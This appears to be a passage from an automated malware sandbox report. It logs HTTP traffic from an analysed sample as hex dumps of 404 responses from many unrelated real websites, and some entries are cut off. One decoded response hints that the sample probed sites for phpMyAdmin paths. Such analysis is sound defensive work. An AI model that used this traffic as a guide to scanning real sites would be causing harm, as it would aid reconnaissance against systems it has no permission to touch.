f9 83 98 45 e2 3a 23 68 2a 66 c9 60 ef 1c fe 41 09 4e 27 7d 87 a4 ee 0f 4f 1d 28 23 38 1e ec 9d cf 88 c0 28 9a e2 9c 13 d1 77 de fc f2 bd 7b 0a b5 b2 38 c5 33 d2 77 2e 29 99 67 2c 17 0e 8a 58 2a 48 2a fa ce 9c c6 62 da 8f c9 25 8d 88 2b 1f 5a 88 a6 54 50 9c b8 3c c2 09 e9 87 2d 34 c3 57 74 56 cc 74 41 db 0b 00 6e 42 d3 f7 28 27 49 df c9 72 36 a6 09 71 d0 34 27 e3 be 33 15 22 eb f9 fe 64 96 4d 3c 96 4f fc ab 71 ea 87 e1 42 13 9a 4e 46 38 7a bf d0 66 3e 9f 7b b3 c9 e8 7a 86 27 dc 8b d8 cc bf 9a 25 79 16 79 d9 34 73 06 7b 7b e7 82 8a 84 0c 5e e1 09 41 29 13 68 cc 8a 34 46 fb 0f 4f db 61 78 86 5e fc f0 f4 5f 2f 9e fc f0 da 7b f6 d3 0b f4 d3 f7 df 3f 7f f6 fc c9 8f e8 0f 44 ae a2 a4 e0 f4 92 a0 84 60 31 25 39 1a e1 09 3f f7 15 30 6b 20 07 71 ca dd 2c 27 63 22 a2 e9 81 1a cd 81 ef 8f 59 2a b8 37 61 6c 92 10 9c 51 89 d8 01 f2 6d 12 ac 69 c9 bd 39 50 60 e1 65 07 27 82 e4 29 16 c4 41 30 b5 7d 07 67 59 42 23 2c 28 4b fd 9c f3 af af 66 89 83 24 7a 7d e7 6e a3 42 fb 39 fe bd 60 67 e8 7b 42 e2 db 88 3b 26 24 f6 9d fa 48 3e 0b 72 cf d8 6c 46 52 c1 b7 c2 32 d2 2f fb 15 ba 8d c6 39 8f 72 9a 09 4d 3f 41 ae 84 7f 81 2f b1 2a 75 06 7b 8d 46 63 4e d3 98 cd bd e1 3c 23 33 76 41 5f 13 21 68 3a e1 a8 8f 3e 38 23 cc c9 9b 3c 71 7a 92 59 79 ef ad ff d6 d7 93 f5 d6 a7 33 3c 21 fc ad 1f b1 9c bc f5 65 e3 b7 7e d8 f6 02 2f 70 c3 b7 fe 49 fb ea a4 fd d6 77 5a 0e b9 12 4e cf f1 b2 74 e2 b4 1c 7e 39 b9 2f 44 7e 39 91 f0 f8 e5 e4 3b 05 92 5f 4a 90 ac c8 23 e2 f4 3e 38 11 4b 23 2c 24 2a 1a 67 89 f2 e2 72 79 eb cf 33 97 a6 51 52 c4 30 80 0b 2e 0b 64 33 37 27 09 c1 9c 78 33 9a 7a 17 fc 9b 4b 92 f7 8f bc b6 17 9e 3a 37 37 67 40 af 07 e3 22 8d 80 05 0f 49 0b b7 44 f3 c3 25 ce 51 da ca 5b ac 45 fb d8 8b 72 82 05 f9 2e 21 30 73 87 4e 84 d3 4b cc 9d 66 2b eb 53 6f 42 c4 33 10 28 57 62 7f df 7e 3a 74 da b1 d3 3c 33 80 11 3f 24 06 30 ee bf 16 39 4d 27 de 38 67 b3 67 53 9c 3f 63 31 39 cb bc 28 21 38 ff 99 44 e2 30 68 05 2d ea 29 91 44 bd 29 a1 93 a9 68 b6 32 6f 4c 93 e4 17 72 25 0e b1 07 eb e6 fa 50 4c 29 6f 91 66 2b 68 05 cd 33 d2 a7 9e 60 df 62 81 df fc fc e3 61 f3 2c 27 a2 c8 53 74 7f c0 42 01 6e 91 7e bf 0e fa a6 1c 56 74 48 14 b5 c4 32 9d 34 47 36 cf 84 Data Ascii: 2731}6oMLgFx4kF7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:22 GMTConnection: closeContent-Length: 53012Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 65 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 34 30 34 3b 68 74 74 70 3a 2f 2f 63 6f 70 79 73 65 74 2e 63 6f 6d 3a 38 30 38 30 2f 69 6e 64 65 78 2e 69 6d 6c 3f 50 41 54 48 5f 31 3d 70 6d 61 26 46 55 4c 4c 5f 50 41 54 48 3d 70 6d 61 3a 70 6d 61 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 20 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 70 79 73 65 74 2e 63 6f 6d 2f 22 20 3e 0d 0a 20 20 0d 0a 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 34 2e 33 2e 30 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 3f 76 3d 33 2e 31 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 70 72 69 6e 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 73 79 73 74 65 6d 2f 32 30 31 31 2f 63 6f 6d 6d 6f 6e 5f 70 72 69 6e 74 2e 63 73 73 3f 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:28 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:29 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-105.ec2.internalX-Request-Id: 06f0b689-2046-4b26-b51d-bbf2a8cc1cb0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:29 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YNQlDVOcQxWDODYSTwR9q11%2BcojZARaTQp9z5jHjeqqK22sgP7YYC%2BHLs7Rk1KpprcC4qVOocCgDaOtBHkDHxNh6VT5EjGzRCBvYXzCdD82UvbL77NHeLONKUlubQRtOClCv7g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dc77b5d8dfd-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 65 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 27 38 e0 4d 4b 90 38 ac 2c 41 93 8a 4a a1 44 c5 3d 70 74 e3 45 8e 94 c6 c1 76 0a fc 3d 4a 2a 24 ae 33 6f 46 33 74 55 bc ae f5 7b 5d c2 b3 7e a9 a0 3e 3c 55 db 35 2c 6e 11 b7 a5 de 20 16 ba b8 38 2b 99 21 96 bb 85 12 e4 d2 a9 53 e4 d8 58 25 28 b5 a9 63 95 67 39 ec 7c 82 8d 1f 7b 4b 78 11 05 e1 0c d1 d1 db 9f 29 b7 54 ff 18 b7 54 82 06 a5 1d 43 e0 cf 91 63 62 0b 87 7d 05 5f 26 42 ef 13 7c 4c 1c f8 1e 92 6b 23 44 0e 67 0e 92 70 98 9a 82 12 64 ac 0d 1c a3 7a 1c 4c e3 18 57 32 97 f7 77 70 5d f0 b1 35 fd 0d bc cd 01 30 09 b8 4f fc dd 74 63 6c cf 1c 65 e3 4f 50 fb 90 e0 21 23 fc eb 10 84 f3 48 c2 f9 dc 2f 00 00 00 ff ff 0d 0a Data Ascii: e5LN0D'8MK8,AJD=ptEv=J*$3oF3tU{]~><U5,n 8+!SX%(cg9\|{Kx)TTCcb}_&B\|Lk#DgpdzLW2wp]50OtcleOP!#H/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:29 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: AC5QVH5o/YnzJu3iFData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:29 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cacheContent-Type: text/htmlX-Server: WEB28Date: Wed, 20 Dec 2023 02:13:29 GMTContent-Length: 103Vary: Accept-EncodingData Raw: 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 68 61 73 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e Data Ascii: The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:29 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveCache-Control: privateSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=joAWjo%2B6d%2FYTC7QHEphUgeT9SpEnMNjAzvcGrHb%2B6Nw%2BUU%2B0spq6nYD2mup%2BOUwMQfDgx%2B4H%2FHpMFsSYaJQTbnlj6%2BA5twJyadk6tyEuO2MR5rTYy0PTDo3ve3VgUrFDdmc%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dc86a24b3c2-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:29 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2Connection: UpgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 66 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3b 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 65 7d 65 6c 73 65 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 29 3b 65 28 29 7d 7d 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 68 65 43 68 61 6d 70 44 65 66 61 75 6c 74 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 2c 20 74 68 65 43 68 61 6d 70 43 6c 6f 73 65 49 63 6f 6e 50 61 74 68 20 3d 20 27 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 75 70 65 72 2d 73 6f 63 69 61 6c 69 7a 65 72 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 70 6e 67 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 3e 76 61 72 20 74 68 65 43 68 61 6d 70 53 69 74 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 27 2c 20 74 68 65 43 68 61 6d 70 56 65 72 69 66 69 65 64 20 3d 20 30 2c 20 74 68 65 43 68 61 6d 70 45 6d 61 69 6c 50 6f 70 75 70 20 3d 20 30 2c 20 68 65 61 74 65 6f 72 53 73 4d 6f 72 65 53 68 61 72 65 50 6f 70 75 70 53 